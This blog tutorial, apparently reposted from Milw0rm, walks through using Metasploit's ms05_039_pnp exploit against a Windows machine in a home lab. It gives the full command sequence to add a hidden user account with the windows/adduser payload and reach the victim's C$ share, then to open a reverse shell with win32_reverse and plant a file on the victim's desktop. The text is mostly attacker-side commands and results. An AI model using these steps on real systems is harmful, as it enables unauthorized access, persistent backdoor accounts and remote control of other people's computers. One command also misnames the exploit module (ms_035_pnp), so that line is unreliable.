You are here: Home > > Hacking Using Metasploit

Hacking Using Metasploit

Today,I am going to make a tutorial on Metasploit.

It is a great tool and it can be downloaded from:
http://www.metasploit.com/

The best thing is it is available for everyone for free.

It is very easy to use and I am going to show you now.

Scenario:
** I am demonstrating this in my security lab
** The attacker computer will be 192.168.1.9 (Linux Backtrack 4)
** The victim computer will be 192.168.1.10

First of all,open up Metaploit


This is the interface of Metasploit and it is ready for you to insert the command.

The first command that will be entered to the shell is

** show exploits

Basically,this command will show all the exploits that can be used by the attacker.

Press ENTER and all the exploits will be shown to the attacker.

Now,the attacker is going to choose the exploit.

In this case,the attacker will use ms05_039_pnp exploit.



The command to use the exploit is
** use ms_035_pnp

Press ENTER and the exploit will be used.

Now,we are going to see what the exploit can do for the attacker.

The attacker will now issues this command
** show payloads

Press on ENTER and all the payloads will be shown to the attacker.

In this case,the attacker is going to add an user to the victim computer.

The command that will be issues is
** set payload windows/adduser

Press on ENTER and that payload will be used.

The next thing that the attacker needs to do is set the target.

The attacker now needs to issues this command to see the target list
** show targets

After the attacker has determine the target,the next thing is to set the target.

The command that can be used is
** set target 0

The number will be according to the victim operating system.

The next steps will be show the fields that need to fill up by the attacker.

The command will be
** show options

There will be empty fields that need to be filled by the attacker.

In this case,the empty fields are RHOST and PASS.

RHOST stands for Remote Host (victim IP address).

PASS stands for Password.

To set both of them,the commands are
** set RHOST 192.168.1.10
** set PASS 12345



The attacker is setting remote host.

The attacker is setting Password.

Finally,the last command that need to be used is
** exploit


The exploit command will call Metasploit to launch the attack to the victim.

Press ENTER and Metasploit will launch the attack.

Now the attacker know that he has an account at the victim machine.

Account information:
username = Metasploit
password = 12345

Now it is the time for the attacker to enter the victim machine.

The attacker will open up a RUN box.

In the RUN box,the attacker will type in
** \\192.168.1.10\c$

Press ENTER and a login prompt will pop up.

Attacker needs to enter the username and password for the victim machine.

In this case,the username and password are Metasploit and 12345.



Press ENTER and the attacker is in the victim machine




The above picture shows that the attacker is in the C drive of victim machine.

What can a victim see on his machine?

If the victim launch a Command Prompt and type in
** net user

The result will be

Do you see that?

The username "metasploit" is there.

That is the username that the attacker created.

The commands that I used:
** show exploits
** use EXPLOITNAME
** show payloads
** set payload PAYLOADNAME
** show targets
** set target TARGETNUMBER
** show options
** set RHOST IPADDRESS
** exploit

Now ,the game will be more interesting.

I will be using Metasploit to get a Command Prompt from the victim machine.

For a hacker,a Command Prompt is very useful.

Scenario:
** This is done in my security labs
** The attacker is 192.168.1.9 (Linux Backtrack 4)
** The victim is 192.168.1.10 (Windows OS)
** The version of Metasploit is version 2

First of all,open up Metasploit and issues the "show exploits" command.

A list of exploits will be shown at the screen.

I will be using the same exploit which is "ms05_039_pnp"


Next,I will be issuing the "show PAYLOADS" command in order to show out what I can achieve from the exploit.

A list of payloads will be shown to me.

In this tutorial,I will be using win32_reverse.

This mean if the exploit is successful,I will get a Command Prompt from the victim computer.



We need to set the target now.

You need to choose your victim's operating system here.


From the above picture,you can see that the target can be either Windows 2000 or Windows XP.

Therefore,set your target accordingly.

I will be setting my target using "set target 0".

Then,I will be issuing the "show options" command in order to fill in the required information such as Remote Host IP address and Local Host IP address.

Remote Host = Victim IP address
Local Host = Your IP address

Now,I need to set both of them in order for the exploit to work.

Finally,I will issue the last command which is "exploit".


As you can see from the picture above,I got a shell from the victim computer.

To prove I can do something at the victim computer,I will now add a text file on victim's desktop.



From the above picture,

Message:
** This is a demonstration of hacking from 192.168.1.9

Text File Name:
** Hack.txt

If this works,the victim's desktop will has a text file called hack.txt and the information of the text file will be the message above.

Let look at the victim's desktop:

The victim's desktop has a text file called hack.txt.

I will open it up and show you the information inside the text file:



I will end the tutorial here.


The Orignal Artical For This Tutorial Is On Milw0rm.
  • Digg
  • Del.icio.us
  • StumbleUpon
  • Reddit
  • Twitter
  • RSS

0 Responses to “Hacking Using Metasploit”:

Leave a comment